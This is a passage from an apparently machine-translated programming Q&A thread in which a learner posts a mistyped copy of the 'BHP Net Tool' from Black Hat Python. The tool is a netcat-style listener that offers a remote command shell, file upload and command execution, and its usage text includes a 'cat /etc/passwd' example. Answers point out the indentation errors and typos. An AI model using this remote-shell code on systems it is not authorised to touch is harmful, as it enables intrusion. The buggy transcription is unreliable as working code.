2016-08-17 40 views
1

以下代碼是黑帽子python書中顯示的腳本,但它看起來不起作用。我正在閱讀一本電子書,經過五次重寫代碼之後,我仍然無法正常工作(由於某些原因,電子書不允許複製/粘貼 )。我已經嘗試了代碼和本書中顯示的所有示例,但得到了相同的結果 - 線條變黑爲止,然後在下一行創建正常的命令行提示符(「C:\ Python27」) 。我正在使用Windows 10.在本書中,用戶輸入「bhp.py -t localhost -p 9999」,它給了用戶一個自定義命令外殼 - 沒有爲我工作...感謝您查看我的問題來自黑帽子python書籍的代碼沒有運行?

import socket 
import threading 
import sys 
import getopt 
import subprocess 

listen    = False 
command   = False 
upload    = False 
execute   = "" 
target    = "" 
upload_destination = "" 
port    = 0 

def usage(): 
    print ("BHP Net Tool") 
    print 
    print ("USAGE: bhpnet.py -t target_host -p port") 
    print ("-l --listen    - listen on [host]:[port] for incoming connections") 
    print ("-e --execute=file_to_run - execute the given file upon receiving a connection") 
    print ("-c --command    - initialize a command shell") 
    print ("-u --upload=destination - upon recieving connection upload a file and write to [destination]") 
    print 
    print 
    print ("Examples: ") 
    print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -c") 
    print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -u=c:\\target.exe") 
    print ("bhpnet.py -t 192.168.0.1 -p 5555 -1 -e=\"cat /etc/passwd\"") 
    print ("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135") 
    sys.exit(0) 

def main(): 
    global listen 
    global port 
    global execute 
    global command 
    global upload_destination 
    global target 

    if not len(sys.argv[1:]): 
     usage() 

    try: 
     opts, args = getopt.getopt(sys.argv[1:],"hle:t:p:cu",  ["help","listen","execute","target","port","command","upload"]) 
    except getopt.GetoptError as err: 
     print str(err) 
     usage() 

    for o,a in opts: 
     if o in ("-h","--help"): 
      usage() 
     elif o in ("-l","--listen"): 
      listen = True 
     elif o in ("-e", "--execute"): 
      execute = a 
     elif o in ("-c", "--commandshell"): 
      command = True 
     elif o in ("-u", "--upload:"): 
      upload_destination = a 
     elif o in ("-t", "--target"): 
      target = a 
     elif o in ("-p", "--port"): 
      port = int(a) 
     else: 
      assert False, "Unhandled Option" 

if not listen and len(target) and port > 0: 
    buffer = sys.stfin.read() 
    client_sender(buffer) 

if listen: 
    server_loop() 
def client_sender(buffer): 

    client = socket.socket(socket.AF_INET, socket.SOCK_STEAM) 

    try: 
     client.connect((target,port)) 

     if len(buffer): 
      client.send(buffer) 

     while True: 
      recv_len = 1 
      response = "" 

      while recv_len: 

       data  = client.recv(4096) 
       recv_len = len(data) 
       response+= data 

       if recv_len < 4096: 
        break 

      print response, 

      buffer = raw_input("") 
      buffer += "\n" 

      client.send(buffer) 

    except: 

      print "[*] Exception! Exciting!." 

      client.close() 

def server_loop(): 
    global target 

    if not len(target): 
     target = "0.0.0.0" 

    server = socket.socket(socket.AF_INET, socket.SOCL_STEAM) 
    server.bind((target,port)) 
    server.listen(5) 

    while True: 
     client_socket, addr = server.accept() 

     client_thread = threading.Thread(target=client_handler,args=(client_socket,)) 
     client_thread.start() 

def run_command(command): 

    command = command.rstrip() 

    try: 
      output = subprocess.check_output(command,stderr=subprocess. STDOUT, shell=True) 
    except: 
      output = "Failed to execute command.\r\n" 

    return output 

def client_handler(client_socket): 
    global upload 
    global execute 
    global command 

    if len(upload_destination): 

      file_buffer = "" 
    while True: 
     data = client_socket.recv(1024) 

     if not data: 
      break 
     else: 
      file_buffer += data 

    try: 
     file_descriptor = open(upload_destination,"wb") 
     file_descriptor.write(file_buffer) 
     file_descriptor.close() 

     client_socket.send("Successfully saved file to %s\r\n" % upload_destination) 
    except: 
     client_socket.send("Failed to save file to %s\r\n" % upload_destination) 

if len(execute): 

     output = run_command(execute) 

     client_socket.send(output) 

if command: 

     while True: 
      client_socket.send("<BHP:#> ") 

      cmd_buffer = "" 
      while "\n" not in cmd_buffer: 
       cmd_buffer += client_socket.recv(1024) 

      response = run_command(cmd_buffer) 

      client_socket.send(response) 

main() 
+3

縮進是可疑的,有幾塊代碼不是函數的一部分。檢查縮進是否正確。 – cdarke

回答

0

我認爲你的問題是,你已經寫了功能def main()下功能def client_sender(buffer)開始的代碼。但是,正如本書所述,您應該將其寫入功能def main()的上方。

試試看。

+0

爲什麼這些函數聲明的順序很重要? – Tagc

+0

它使用幾種語言。在Python中,如果在調用'main'之前定義了所有正在使用的函數,那就足夠了。 – filmor

0

您需要通過4個空格縮進塊:

if not listen and len(target) and port > 0: 
    buffer = sys.stfin.read() 
    client_sender(buffer) 

if listen: 
    server_loop() 

然後你有一個錯字:stfin應該stdin。 更改後此命令:python script.py -t localhost -p 9999啓動腳本並落入行buffer = sys.stdin.read(),但它不會打印提示,是正確的嗎?否則,它需要更多的修復。

0

問題是鍵盤語言,西班牙語是Contro-Z和Enter。

+1

這是如何回答這個問題的? – Dominique